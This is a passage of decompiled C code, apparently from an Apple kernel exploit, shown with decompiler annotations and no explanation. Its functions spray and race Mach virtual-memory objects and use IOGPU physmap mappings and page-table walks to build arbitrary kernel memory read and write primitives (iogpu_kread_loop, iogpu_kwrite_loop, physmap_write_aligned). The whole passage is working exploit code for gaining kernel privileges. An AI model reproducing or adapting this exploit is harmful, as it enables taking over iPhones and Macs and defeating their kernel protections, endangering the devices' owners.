    v5 = (char *)v2[1];
    *(uint64_t *)&v5[j + 8] = nesting.object_id;
  }
  v9 = (int (__cdecl *)(const void *, const void *))nullsub_1(compare_entry_by_offset);
  qsort(v5, 0xFA00u, 0x10u, v9);
  v10 = a1[1];
  if ( !v10 )
  {
    sort_compact_vm_regions((__int64)a1, v2[1]);
    v10 = a1[1];
  }
  v11 = 0;
  v12 = v2[1];
  do
  {
    v13 = *(uint64_t *)(v12 + 16 * v11 + 8);
    if ( (((unsigned __int16)v10 ^ (unsigned __int16)v13) & 0x3FFF) != 0 )
      goto LABEL_19;
    v14 = v11 + 1;
    v15 = v13 + 256;
    if ( *(uint64_t *)(v12 + 16 * (v11 + 1) + 8) == v13 + 256 )
    {
      v16 = (__int64 *)(v12 + 40 + 16 * v11);
      v17 = 1;
      while ( v17 != 63 )
      {
        v18 = *v16;
        v16 += 2;
        v15 += 256;
        ++v17;
        if ( v15 != v18 )
        {
          v19 = (unsigned __int64)(v17 - 1) < 0x3F;
          v14 = v11 + v17;
          goto LABEL_17;
        }
      }
LABEL_18:
      v20 = v2[4];
      v21 = (uint64_t *)(v2[2] + 16 * v20);
      *v21 = *(uint64_t *)(v12 + 16 * v11);
      v21[1] = v13;
      *(uint64_t *)(v12 + 16 * v11) = 0;
      v2[4] = v20 + 1;
      v11 += 63LL;
      goto LABEL_19;
    }
    v19 = 1;
LABEL_17:
    v11 = v14 - 1;
    if ( !v19 )
      goto LABEL_18;
LABEL_19:
    ++v11;
  }
  while ( v11 < 0xF9C1 );
}
// 6880: conditional instruction was optimized away because x16.8==3F
// 6778: variable 'v8' is possibly undefined
// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);

//----- (00000000000068A0) ----------------------------------------------------
__int64 __fastcall get_vm_region_slot(uint64_t *a1)
{
  uint64_t *v2; // x8
  __int64 v3; // x9
  __int64 result; // x0

  v2 = (uint64_t *)*a1;
  if ( !*a1 || (v3 = v2[3], v3 == v2[4]) )
  {
    grow_vm_region_list(a1);
    v2 = (uint64_t *)*a1;
    v3 = *(uint64_t *)(*a1 + 24LL);
  }
  result = v2[2] + 16 * v3;
  v2[3] = v3 + 1;
  return result;
}

//----- (00000000000068F4) ----------------------------------------------------
void __fastcall deallocate_physmap_pages(__int64 a1)
{
  __int64 i; // x21
  __int64 v3; // x22
  vm_address_t v4; // x1
  unsigned __int64 v5; // x21
  __int64 v6; // x22
  __int64 v7; // x23
  __int64 vars8; // [xsp+38h] [xbp+8h]

  for ( i = 0; i != 1024000; i += 16 )
  {
    v3 = *(uint64_t *)(a1 + 8);
    v4 = *(uint64_t *)(v3 + i);
    if ( v4 )
    {
      vm_deallocate(mach_task_self_, v4, 0x4000u);
      *(uint64_t *)(v3 + i) = 0;
    }
  }
  v5 = *(uint64_t *)(a1 + 24);
  if ( v5 < *(uint64_t *)(a1 + 32) )
  {
    v6 = 16 * v5;
    do
    {
      v7 = *(uint64_t *)(a1 + 16);
      vm_deallocate(mach_task_self_, *(uint64_t *)(v7 + v6), 0x4000u);
      *(uint64_t *)(v7 + v6) = 0;
      ++v5;
      v6 += 16;
    }
    while ( v5 < *(uint64_t *)(a1 + 32) );
  }
  free(*(void **)(a1 + 8));
  free(*(void **)(a1 + 16));
  free((void *)a1);
}
// 69A8: variable 'vars8' is possibly undefined

//----- (00000000000069B8) ----------------------------------------------------
__int64 __fastcall acquire_physmap_page(__int64 a1)
{
  mem_entry_name_port_t v1; // w19
  __int64 v2; // x8
  unsigned __int8 *v3; // x21
  unsigned __int8 v4; // w8
  vm_address_t address; // [xsp+18h] [xbp-38h] BYREF

  v1 = *(uint32_t *)a1;
  v2 = *(uint64_t *)(a1 + 8);
  atomic_fetch_add((atomic_uint *volatile)(v2 + 24), 1u);
  v3 = (unsigned __int8 *)(v2 + 28);
  LOBYTE(v2) = atomic_load((unsigned __int8 *)(v2 + 28));
  if ( (v2 & 1) == 0 )
  {
    do
    {
      address = 0;
      vm_map(mach_task_self_, &address, 0x4000u, 0, 0, v1, 0, 1, 1, 1, 1u);
      v4 = atomic_load(v3);
    }
    while ( (v4 & 1) == 0 );
  }
  return 0;
}

//----- (0000000000006A54) ----------------------------------------------------
__int64 __fastcall start_physmap_worker_thread(__int64 a1, mem_entry_name_port_t *a2)
{
  __int64 v4; // x23
  pthread_t *v5; // x21
  __int128 *v6; // x22
  void *(__cdecl *v7)(void *); // x0
  unsigned int v8; // w8
  __int64 v9; // x20
  mach_port_t object_handle; // [xsp+4h] [xbp-ACh] BYREF
  memory_object_size_t size; // [xsp+8h] [xbp-A8h] BYREF
  __int128 v13[4]; // [xsp+10h] [xbp-A0h] BYREF
  __int128 v14[2]; // [xsp+50h] [xbp-60h] BYREF

  v4 = 0;
  atomic_store(0, (unsigned int *)(a1 + 24));
  atomic_store(0, (unsigned __int8 *)(a1 + 28));
  memset(v14, 0, sizeof(v14));
  memset(v13, 0, sizeof(v13));
  v5 = (pthread_t *)v14;
  v6 = v13;
  do
  {
    *(uint32_t *)v6 = a2[v4];
    *((uint64_t *)v6 + 1) = a1;
    v7 = (void *(__cdecl *)(void *))nullsub_1(acquire_physmap_page);
    if ( pthread_create(v5, 0, v7, v6) )
      __error();
    ++v4;
    ++v5;
    ++v6;
  }
  while ( v4 != 4 );
  while ( 1 )
  {
    v8 = atomic_load((unsigned int *)(a1 + 24));
    if ( v8 == 4 )
      break;
    usleep(0x3E8u);
  }
  size = 0x4000;
  object_handle = 0;
  mach_make_memory_entry_64(mach_task_self_, &size, 0, 1, &object_handle, *a2);
  v9 = 0;
  atomic_store(1u, (unsigned __int8 *)(a1 + 28));
  do
  {
    if ( pthread_join(*(pthread_t *)((char *)v14 + v9), 0) )
      __error();
    v9 += 8;
  }
  while ( v9 != 32 );
  return object_handle;
}
// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);

//----- (0000000000006BBC) ----------------------------------------------------
__int64 __fastcall request_physmap_page(uint64_t *a1, __int64 a2)
{
  vm_address_t *v4; // x21
  __int64 v5; // x24
  unsigned __int64 v6; // x0
  __int64 v7; // x1
  __int64 v8; // x22
  __int64 v9; // x25
  mach_port_name_t v10; // w20
  unsigned __int64 v11; // x0
  __int64 v12; // x19
  unsigned __int64 v14; // x24
  memory_object_size_t v15; // x9
  unsigned __int64 v16; // x8
  mach_port_name_t v17; // w1
  memory_object_size_t size; // [xsp+10h] [xbp-60h] BYREF
  mem_entry_name_port_t object[4]; // [xsp+18h] [xbp-50h] BYREF

  v4 = (vm_address_t *)get_vm_region_slot(a1);
  thread_switch(0, 2, 0);
  vm_deallocate(mach_task_self_, *v4, 0x4000u);
  v5 = 0;
  *v4 = 0;
  *(uint64_t *)object = 0;
  *(uint64_t *)&object[2] = 0;
  do
  {
    size = 0x4000;
    mach_make_memory_entry_64(mach_task_self_, &size, a1[2], 1, &object[v5++], 0);
  }
  while ( v5 != 4 );
  size = 0;
  vm_map(mach_task_self_, &size, 0x4000u, 0, 1, object[0], 0, 0, 1, 1, 1u);
  vm_region_nesting_result nesting = query_vm_region_nesting(size);
  v6 = nesting.packed_info;
  if ( nesting.object_id != v4[1] )
    goto LABEL_6;
  v8 = nesting.object_id;
  v9 = (unsigned int)(HIDWORD(v6) + 1);
  v10 = start_physmap_worker_thread((__int64)a1, object);
  v11 = query_vm_region_nesting(size).packed_info;
  if ( v9 == HIDWORD(v11) )
  {
    mach_port_deallocate(mach_task_self_, v10);
LABEL_6:
    vm_deallocate(mach_task_self_, size, 0x4000u);
    v12 = 0;
    size = 0;
    do
    {
      mach_port_deallocate(mach_task_self_, object[v12]);
      object[v12++] = 0;
    }
    while ( v12 != 4 );
    return 0;
  }
  v14 = 0;
  v15 = size;
  *(uint64_t *)a2 = v8;
  *(uint64_t *)(a2 + 8) = v15;
  *(uint32_t *)(a2 + 16) = v10;
  v16 = v9 + ~HIDWORD(v11);
  *(uint64_t *)(a2 + 32) = v16;
  while ( 1 )
  {
    v17 = object[v14];
    if ( v14 >= v16 )
    {
      mach_port_deallocate(mach_task_self_, v17);
      object[v14] = 0;
    }
    else
    {
      *(uint32_t *)(a2 + 20 + 4 * v14) = v17;
    }
    if ( v14 == 3 )
      break;
    v16 = *(uint64_t *)(a2 + 32);
    ++v14;
  }
  return 1;
}
// 6CAC: variable 'v7' is possibly undefined

//----- (0000000000006DC0) ----------------------------------------------------
__int64 __fastcall physmap_read_dword(uint64_t *a1, unsigned __int64 a2, uint32_t *a3)
{
  __int64 v5; // x21
  unsigned __int64 v6; // x8
  vm_address_t v7; // x1
  __int64 result; // x0

  v5 = a2 & 0x3FFF;
  v6 = a2 >> 14;
  v7 = a1[169];
  *(uint32_t *)(v7 + 560) = v6;
  vm_copy(mach_task_self_, v7, 0xC000u, a1[170]);
  result = vm_remap_inplace(a1[172], 0x4000u, 0);
  *a3 = *(uint32_t *)(a1[172] + v5);
  return result;
}

//----- (0000000000006E30) ----------------------------------------------------
void *__fastcall physmap_read_aligned(uint64_t *a1, unsigned __int64 a2, void *a3, size_t a4)
{
  __int64 v7; // x22
  unsigned __int64 v8; // x8
  vm_address_t v9; // x1

  v7 = a2 & 0x3FFF;
  v8 = a2 >> 14;
  v9 = a1[169];
  *(uint32_t *)(v9 + 560) = v8;
  vm_copy(mach_task_self_, v9, 0xC000u, a1[170]);
  vm_copy(mach_task_self_, a1[172], 0xC000u, a1[173]);
  return memcpy(a3, (const void *)(a1[173] + v7), a4);
}

//----- (0000000000006EB8) ----------------------------------------------------
__int64 __fastcall physmap_write_aligned(uint64_t *a1, const void *a2, unsigned __int64 a3, size_t a4)
{
  __int64 v7; // x24
  vm_address_t v8; // x1
  void *v9; // x23
  vm_address_t v10; // x21
  vm_map_t v11; // w0
  __int64 vars8; // [xsp+48h] [xbp+8h]

  v7 = a3 & 0x3FFF;
  v8 = a1[169];
  *(uint32_t *)(v8 + 560) = a3 >> 14;
  vm_copy(mach_task_self_, v8, 0xC000u, a1[170]);
  v9 = (void *)(a1[175] - a4 + 0x4000);
  v10 = a1[176] + v7;
  memcpy(v9, a2, a4);
  v11 = mach_task_self_;
  return vm_copy(v11, (vm_address_t)v9, a4 + 0x8000, v10);
}
// 6F58: variable 'vars8' is possibly undefined

//----- (0000000000006F68) ----------------------------------------------------
unsigned __int64 __fastcall build_physmap_page_table(uint64_t *a1, unsigned __int64 a2)
{
  unsigned __int64 v2; // x19
  uint64_t *v3; // x20
  unsigned __int64 v4; // x21
  __int64 v5; // x23
  __int64 v6; // x8
  unsigned __int64 v7; // x26
  __int64 v8; // x8
  uint64_t v10[2048]; // [xsp+8h] [xbp-4058h] BYREF

  v2 = a2;
  v3 = a1;
  v4 = a1[164];
  bzero(v10, 0x4000u);
  v5 = 0;
  while ( 1 )
  {
    if ( v5 || (v6 = v3[165]) == 0 )
      v6 = *(uint64_t *)((char *)&unk_42DC8 + v5 + 80);
    v7 = (v6 & v2) >> *(uint64_t *)((char *)&unk_42DC8 + v5 + 72);
    physmap_read_aligned(v3, v4, v10, 0x4000u);
    v8 = v10[(unsigned int)v7];
    if ( (*(uint64_t *)((uint8_t *)&unk_42DC8 + v5 + 88) & ~v8) != 0 )
      return 0;
    if ( (*(uint64_t *)((uint8_t *)&unk_42DC8 + v5 + 96) & v8) == *(uint64_t *)((char *)&unk_42DC8 + v5 + 104) )
      break;
    v4 = v8 & 0xFFFFFFFFC000LL;
    v5 += 56;
    if ( v5 == 168 )
      return 0;
  }
  return v8 & ~*(uint64_t *)((char *)&unk_42DC8 + v5 + 64) & 0xFFFFFFFFF000LL
       | *(uint64_t *)((uint8_t *)&unk_42DC8 + v5 + 64) & v2;
}
// 6FA0: variable 'v1' is possibly undefined
// 48940: using guessed type __int64 __chkstk_darwin(void);
// 48940: using guessed type __int64 __fastcall __chkstk_darwin(uint64_t, uint64_t);

//----- (00000000000070A4) ----------------------------------------------------
uint64_t *__fastcall iogpu_kread_loop(uint64_t *result, __int16 a2, char *a3, unsigned __int64 a4)
{
  unsigned __int64 v4; // x19
  uint64_t *v7; // x22
  size_t v8; // x23
  unsigned __int64 v9; // x0

  if ( a4 )
  {
    v4 = a4;
    v7 = result;
    do
    {
      if ( v4 >= 0x4000 - (unsigned __int64)(a2 & 0x3FFF) )
        v8 = 0x4000LL - (a2 & 0x3FFF);
      else
        v8 = v4;
      v9 = build_physmap_page_table(v7, a2);
      result = physmap_read_aligned(v7, v9, a3, v8);
      a2 += v8;
      a3 += v8;
      v4 -= v8;
    }
    while ( v4 );
  }
  return result;
}

//----- (0000000000007128) ----------------------------------------------------
uint64_t *__fastcall iogpu_kwrite_loop(uint64_t *result, char *a2, __int16 a3, unsigned __int64 a4)
{
  unsigned __int64 v4; // x19
  uint64_t *v7; // x22
  size_t v8; // x23
  unsigned __int64 v9; // x0

  if ( a4 )
  {
    v4 = a4;
    v7 = result;
    do
    {
      if ( v4 >= 0x4000 - (unsigned __int64)(a3 & 0x3FFF) )
        v8 = 0x4000LL - (a3 & 0x3FFF);
      else
        v8 = v4;
      v9 = build_physmap_page_table(v7, a3);
      result = (uint64_t *)physmap_write_aligned(v7, a2, v9, v8);
      a2 += v8;
      a3 += v8;
      v4 -= v8;
    }
    while ( v4 );
  }
  return result;
}

//----- (00000000000071AC) ----------------------------------------------------
__int64 __fastcall find_mem_region(__int64 result)
{
  __int64 v1; // x19
  __int128 v2[5]; // [xsp+0h] [xbp-90h] BYREF
  vm_size_t size; // [xsp+58h] [xbp-38h] BYREF
  vm_address_t address; // [xsp+60h] [xbp-30h] BYREF
  mach_msg_type_number_t infoCnt; // [xsp+68h] [xbp-28h] BYREF
  natural_t nesting_depth; // [xsp+6Ch] [xbp-24h] BYREF

  address = 0;
  if ( !*(uint64_t *)(result + 16) )
  {
    v1 = result;
    while ( 1 )
    {
      size = 0;
      memset(v2, 0, 76);
      infoCnt = 19;
      nesting_depth = 1;
      result = vm_region_recurse_64(
                 mach_task_self_,
                 &address,
                 &size,
                 &nesting_depth,
                 (vm_region_recurse_info_t)v2,
                 &infoCnt);
      if ( nesting_depth )
      {
        if ( !*(uint64_t *)((char *)v2 + 12) )
          break;
      }
      address += size;
      if ( *(uint64_t *)(v1 + 16) )
        return result;
    }
    *(uint64_t *)(v1 + 16) = address;
  }
  return result;
}

//----- (000000000000725C) ----------------------------------------------------
__int64 __fastcall alloc_krw_region_map(__int64 a1)
{
  __int64 result; // x0
  vm_address_t address; // [xsp+18h] [xbp-18h] BYREF

  vm_map(
    mach_task_self_,
    (vm_address_t *)(a1 + 32),
    (*(uint64_t *)(a1 + 1432) << 14) + 49152LL,
    0x1FFFFFFu,
    1,
    0,
    0,
    0,
    3,
    7,
    1u);
  address = *(uint64_t *)(a1 + 32);
  vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000);
  address = *(uint64_t *)(a1 + 32) + 0x4000LL;
  vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000);
  address = *(uint64_t *)(a1 + 32) + 0x8000LL;
  result = vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000);
  **(uint8_t **)(a1 + 32) = 65;
  return result;
}

//----- (0000000000007334) ----------------------------------------------------
__int64 __fastcall alloc_vm_page_array(__int64 a1)
{
  __int64 v2; // x21
  __int64 result; // x0
  vm_address_t address; // [xsp+8h] [xbp-28h] BYREF

  v2 = 0;
  *(uint64_t *)(a1 + 48) = malloc(0xC3500u);
  do
  {
    address = 0;
    result = vm_allocate(mach_task_self_, &address, 0x4000u, 1);
    *(uint64_t *)(*(uint64_t *)(a1 + 48) + v2) = address;
    v2 += 8;
  }
  while ( v2 != 800000 );
  return result;
}

//----- (00000000000073B8) ----------------------------------------------------
__int64 __fastcall allocate_two_buffers_for_something(uint64_t *a1)
{
  vm_size_t v2; // x2
  __int64 result; // x0
  unsigned __int64 v4; // x8
  unsigned __int64 v5; // x9
  __int64 v6; // x10
  vm_address_t address; // [xsp+8h] [xbp-18h] BYREF

  a1[137] = 0x400000;
  address = 0;
  vm_allocate(mach_task_self_, &address, 0x400000u, 3);
  a1[135] = address;
  v2 = a1[137];
  address = 0;
  result = vm_allocate(mach_task_self_, &address, v2, 1);
  a1[136] = address;
  v4 = a1[137];
  if ( v4 )
  {
    v5 = 0;
    v6 = a1[135];
    do
    {
      *(uint8_t *)(v6 + v5) = 65;
      v5 += 0x4000LL;
    }
    while ( v5 < v4 );
  }
  return result;
}

//----- (0000000000007454) ----------------------------------------------------
__int64 __fastcall setup_krw_region_structure(uint64_t *a1)
{
  vm_size_t v2; // x2
  vm_size_t v3; // x2
  __int64 result; // x0
  unsigned __int64 v5; // x8
  __int128 *v6; // x9
  unsigned __int64 v7; // x9
  unsigned __int64 v8; // x22
  vm_address_t v9; // x20
  uint8_t v10[32]; // [xsp+0h] [xbp-140h] BYREF
  __int128 v11; // [xsp+20h] [xbp-120h]
  __int128 v12; // [xsp+30h] [xbp-110h]
  __int128 v13; // [xsp+40h] [xbp-100h]
  __int128 v14; // [xsp+50h] [xbp-F0h]
  __int128 v15; // [xsp+60h] [xbp-E0h]
  __int128 v16; // [xsp+70h] [xbp-D0h]
  __int128 v17; // [xsp+80h] [xbp-C0h]
  __int128 v18; // [xsp+90h] [xbp-B0h]
  __int128 v19; // [xsp+A0h] [xbp-A0h]
  __int128 v20; // [xsp+B0h] [xbp-90h]
  __int128 v21; // [xsp+C0h] [xbp-80h]
  __int128 v22; // [xsp+D0h] [xbp-70h]
  __int128 v23; // [xsp+E0h] [xbp-60h]
  __int128 v24; // [xsp+F0h] [xbp-50h]
  vm_address_t address; // [xsp+108h] [xbp-38h] BYREF

  v2 = 163840LL * a1[179];
  a1[140] = v2;
  *(uint64_t *)v10 = 0;
  vm_allocate(mach_task_self_, (vm_address_t *)v10, v2, 1);
  a1[138] = *(uint64_t *)v10;
  v3 = a1[140] + 0x8000LL;
  *(uint64_t *)v10 = 0;
  result = vm_allocate(mach_task_self_, (vm_address_t *)v10, v3, 1);
  a1[139] = *(uint64_t *)v10;
  *(uint64_t *)v10 = 0;
  *(uint64_t *)&v10[24] = 0;
  v23 = 0u;
  v24 = 0u;
  v21 = 0u;
  v22 = 0u;
  v19 = 0u;
  v20 = 0u;
  v17 = 0u;
  *(uint64_t *)&v18 = 0;
  v15 = 0u;
  v16 = 0u;
  v13 = 0u;
  v14 = 0u;
  v11 = 0u;
  v12 = 0u;
  *(__int128 *)&v10[8] = *(__int128 *)byte_42D30;
  DWORD2(v11) = 1;
  LODWORD(v16) = 4;
  HIDWORD(v16) = 16893952;
  *((uint64_t *)&v18 + 1) = -1;
  HIDWORD(v19) = 786560;
  if ( a1[140] )
  {
    v5 = 0;
    do
    {
      v6 = (__int128 *)(v5 + a1[138]);
      v6[12] = v21;
      v6[13] = v22;
      v6[14] = v23;
      v6[15] = v24;
      v6[8] = v17;
      v6[9] = v18;
      v6[10] = v19;
      v6[11] = v20;
      v6[4] = v13;
      v6[5] = v14;
      v6[6] = v15;
      v6[7] = v16;
      *v6 = *(__int128 *)v10;
      v6[1] = *(__int128 *)&v10[16];
      v6[2] = v11;
      v6[3] = v12;
      v5 += 256LL;
      v7 = a1[140];
    }
    while ( v5 < v7 );
    if ( v7 )
    {
      v8 = 0;
      do
      {
        address = v8 + a1[139];
        v9 = address;
        vm_allocate(mach_task_self_, &address, 0x4000u, 16386);
        result = vm_remap_inplace(v9, 0x4000u, 0);
        v8 += 0x4000LL;
      }
      while ( v8 < a1[140] );
    }
  }
  return result;
}
// 42D30: using guessed type __int128 xmmword_42D30;

//----- (0000000000007630) ----------------------------------------------------
__int64 __fastcall physmap_vmregion_init(uint64_t *a1)
{
  vm_address_t address; // [xsp+8h] [xbp-18h] BYREF

  address = 0;
  vm_allocate(mach_task_self_, &address, 0xC000u, 1);
  a1[158] = address;
  grow_vm_region_list(a1);
  find_mem_region((__int64)a1);
  alloc_krw_region_map((__int64)a1);
  alloc_vm_page_array((__int64)a1);
  allocate_two_buffers_for_something(a1);
  return setup_krw_region_structure(a1);
}

//----- (00000000000076B0) ----------------------------------------------------
void *__fastcall alloc_physmap_page_entry(uint64_t *a1)
{
  void *v2; // x19
  vm_address_t v3; // x20
  __int64 v4; // x1
  vm_address_t address; // [xsp+8h] [xbp-28h] BYREF

  v2 = calloc(1u, 0x40u);
  address = 0;
  vm_allocate(mach_task_self_, &address, 0xC000u, 1);
  *((uint64_t *)v2 + 7) = address;
  while ( !(unsigned int)request_physmap_page(a1, (__int64)v2 + 16) )
    ;
  thread_switch(0, 2, 0);
  mach_port_deallocate(mach_task_self_, *((uint32_t *)v2 + 8));
  *((uint32_t *)v2 + 8) = 0;
  v3 = *((uint64_t *)v2 + 7);
  vm_remap_inplace(v3, 0xC000u, 0);
  if ( query_vm_region_nesting(v3).object_id != *((uint64_t *)v2 + 2) )
  {
    vm_deallocate(mach_task_self_, v3, 0xC000u);
    *((uint64_t *)v2 + 7) = 0;
    *((uint64_t *)v2 + 1) = 1;
  }
  return v2;
}
// 775C: variable 'v4' is possibly undefined

//----- (0000000000007794) ----------------------------------------------------
void *__fastcall physmap_page_entry_alloc(uint64_t *a1, int a2)
{
  void *v4; // x19
  __int64 v5; // x1
  vm_address_t v6; // x3
  __int64 v7; // x1
  vm_address_t v8; // x3
  __int64 v9; // x1
  vm_address_t v10; // x0
  vm_address_t v11; // x22
  __int64 v12; // x1
  __int64 v13; // x23
  vm_address_t v14; // x22
  __int64 v15; // x1
  vm_address_t v16; // x0
  vm_address_t v17; // x0
  vm_address_t v18; // x22
  __int64 v19; // x1
  __int64 v20; // x23
  __int64 v21; // x8
  vm_address_t v22; // x3
  __int64 v23; // x8
  vm_address_t v25; // x8
  vm_address_t v26; // x6
  vm_prot_t cur_protection[2]; // [xsp+20h] [xbp-40h] BYREF
  vm_address_t address; // [xsp+28h] [xbp-38h] BYREF

  v4 = calloc(1u, 0x100u);
  address = 0;
  vm_allocate(mach_task_self_, &address, 0x18000u, 1);
  *((uint64_t *)v4 + 17) = address;
  while ( !(unsigned int)request_physmap_page(a1, (__int64)v4 + 16) )
    ;
  thread_switch(0, 2, 0);
  mach_port_deallocate(mach_task_self_, *((uint32_t *)v4 + 8));
  *((uint32_t *)v4 + 8) = 0;
  **((uint8_t **)v4 + 17) = 65;
  if ( query_vm_region_nesting(*((uint64_t *)v4 + 17)).object_id != *((uint64_t *)v4 + 2) )
  {
    v23 = 1;
LABEL_23:
    *((uint64_t *)v4 + 1) = v23;
    return v4;
  }
  address = 0;
  vm_allocate(mach_task_self_, &address, 0x14000u, 1);
  v6 = address;
  *((uint64_t *)v4 + 18) = address;
  vm_copy(mach_task_self_, *((uint64_t *)v4 + 17) + 0x4000LL, 0x14000u, v6);
  while ( !(unsigned int)request_physmap_page(a1, (__int64)v4 + 56) )
    ;
  thread_switch(0, 2, 0);
  mach_port_deallocate(mach_task_self_, *((uint32_t *)v4 + 18));
  *((uint32_t *)v4 + 18) = 0;
  *(uint8_t *)(*((uint64_t *)v4 + 18) + 0x10000LL) = 65;
  if ( query_vm_region_nesting(*((uint64_t *)v4 + 18)).object_id != *((uint64_t *)v4 + 7) )
  {
    v23 = 2;
    goto LABEL_23;
  }
  address = 0;
  vm_allocate(mach_task_self_, &address, 0x10000u, 1);
  v8 = address;
  *((uint64_t *)v4 + 19) = address;
  vm_copy(mach_task_self_, *((uint64_t *)v4 + 18), 0x10000u, v8);
  while ( !(unsigned int)request_physmap_page(a1, (__int64)v4 + 96) )
    ;
  thread_switch(0, 2, 0);
  mach_port_deallocate(mach_task_self_, *((uint32_t *)v4 + 28));
  *((uint32_t *)v4 + 28) = 0;
  *(uint8_t *)(*((uint64_t *)v4 + 19) + 0x8000LL) = 65;
  if ( query_vm_region_nesting(*((uint64_t *)v4 + 19)).object_id != *((uint64_t *)v4 + 12) )
  {
    v23 = 3;
    goto LABEL_23;
  }
  v10 = vm_remap_new_target(*((uint64_t *)v4 + 19), 0x10000u, 0);
  *((uint64_t *)v4 + 20) = v10;
  address = v10 + 0x4000;
  vm_allocate(mach_task_self_, &address, 0xC000u, 0x4000);
  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 18), 0x14000u);
  *((uint64_t *)v4 + 18) = 0;
  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 17), 0x18000u);
  *((uint64_t *)v4 + 17) = 0;
  thread_switch(0, 2, 0);
  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 3), 0x4000u);
  *((uint64_t *)v4 + 3) = 0;
  *((uint64_t *)v4 + 21) = vm_remap_new_target(*((uint64_t *)v4 + 19), 0x10000u, 1);
  address = 0;
  vm_allocate(mach_task_self_, &address, 0x10000u, 1);
  *((uint64_t *)v4 + 22) = address;
  address = 0;
  vm_allocate(mach_task_self_, &address, 0x10000u, 1);
  *((uint64_t *)v4 + 23) = address;
  vm_copy(mach_task_self_, *((uint64_t *)v4 + 21), 0x10000u, *((uint64_t *)v4 + 22));
  vm_copy(mach_task_self_, *((uint64_t *)v4 + 21), 0x10000u, *((uint64_t *)v4 + 23));
  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 19), 0x10000u);
  *((uint64_t *)v4 + 19) = 0;
  v11 = *((uint64_t *)v4 + 21) + 0x8000LL;
  vm_protect(mach_task_self_, v11, 0x4000u, 0, 1);
  v13 = query_vm_region_nesting(v11).object_id;
  vm_protect(mach_task_self_, v11, 0x4000u, 0, 3);
  if ( v13 != *((uint64_t *)v4 + 2) )
  {
    v23 = 4;
    goto LABEL_23;
  }
  address = 0;
  vm_allocate(mach_task_self_, &address, 0x10000u, 1);
  v14 = address;
  vm_copy(mach_task_self_, address, 0x10000u, *((uint64_t *)v4 + 20));
  vm_deallocate(mach_task_self_, v14, 0x10000u);
  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 20) + 0x4000LL, 0xC000u);
  address = 0;
  vm_allocate(mach_task_self_, &address, 0x10000u, 1);
  *((uint64_t *)v4 + 24) = address;
  thread_switch(0, 2, 0);
  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 8), 0x4000u);
  *((uint64_t *)v4 + 8) = 0;
  *(uint8_t *)(*((uint64_t *)v4 + 24) + 0x4000LL) = 65;
  *((uint64_t *)v4 + 25) = vm_remap_new_target(*((uint64_t *)v4 + 24), 0x10000u, 0);
  if ( query_vm_region_nesting(*((uint64_t *)v4 + 24)).object_id != *((uint64_t *)v4 + 7) )
  {
    v23 = 5;
    goto LABEL_23;
  }
  v16 = *((uint64_t *)v4 + 22);
  *((uint64_t *)v4 + 26) = v16;
  *((uint64_t *)v4 + 22) = 0;
  *((uint64_t *)v4 + 27) = vm_remap_new_target(v16, 0x10000u, 0);
  if ( (a2 & 1) == 0 )
    **((uint8_t **)v4 + 26) = 65;
  thread_switch(0, 2, 0);
  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 23), 0x10000u);
  *((uint64_t *)v4 + 23) = 0;
  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 13), 0x4000u);
  *((uint64_t *)v4 + 13) = 0;
  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 25), 0x10000u);
  *((uint64_t *)v4 + 25) = 0;
  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 24), 0x10000u);
  *((uint64_t *)v4 + 24) = 0;
  v17 = *((uint64_t *)v4 + 21);
  *((uint64_t *)v4 + 28) = v17;
  *((uint64_t *)v4 + 21) = 0;
  *((uint64_t *)v4 + 29) = vm_remap_new_target(v17, 0x10000u, 0);
  v18 = *((uint64_t *)v4 + 28);
  vm_protect(mach_task_self_, v18, 0x4000u, 0, 1);
  v20 = query_vm_region_nesting(v18).object_id;
  vm_protect(mach_task_self_, v18, 0x4000u, 0, 3);
  if ( v20 != *((uint64_t *)v4 + 7) )
  {
    v23 = 6;
    goto LABEL_23;
  }
  v21 = *((uint64_t *)v4 + 26);
  if ( a2 )
  {
    *((uint64_t *)v4 + 30) = vm_remap_new_target(v21 + 0x4000, 0xC000u, 1);
    address = 0;
    vm_allocate(mach_task_self_, &address, 0xC000u, 1);
    v22 = address;
    *((uint64_t *)v4 + 31) = address;
    vm_copy(mach_task_self_, *((uint64_t *)v4 + 30), 0xC000u, v22);
  }
  else
  {
    vm_deallocate(mach_task_self_, v21 + 49152, 0x4000u);
    vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 27) + 49152LL, 0x4000u);
    v25 = a1[158];
    if ( v25 )
    {
      v26 = *((uint64_t *)v4 + 27);
      *(uint64_t *)cur_protection = 0;
      address = v25;
      vm_remap(
        mach_task_self_,
        &address,
        0xC000u,
        0,
        0x4000,
        mach_task_self_,
        v26,
        0,
        &cur_protection[1],
        cur_protection,
        1u);
      vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 27), 0xC000u);
      *((uint64_t *)v4 + 27) = a1[158];
      a1[158] = 0;
    }
  }
  return v4;
}
// 7840: variable 'v5' is possibly undefined
// 78D4: variable 'v7' is possibly undefined
// 795C: variable 'v9' is possibly undefined
// 7A94: variable 'v12' is possibly undefined
// 7B88: variable 'v15' is possibly undefined
// 7C58: variable 'v19' is possibly undefined

//----- (0000000000007DA4) ----------------------------------------------------
uint64_t *__fastcall fill_physmap_page_entries(uint64_t *a1, __int64 a2)
{
  __int64 i; // x21
  uint64_t *result; // x0
  __int64 v6; // x9

  for ( i = 0; i != 2; ++i )
  {
    while ( 1 )
    {
      result = alloc_physmap_page_entry(a1);
      if ( !result[1] )
        break;
      v6 = *(uint64_t *)(a2 + 32);
      *result = *(uint64_t *)(a2 + 24);
      *(uint64_t *)(a2 + 24) = result;
      *(uint64_t *)(a2 + 32) = v6 + 1;
    }
    *(uint64_t *)(a2 + 8 * i) = result;
  }
  return result;
}

//----- (0000000000007E08) ----------------------------------------------------
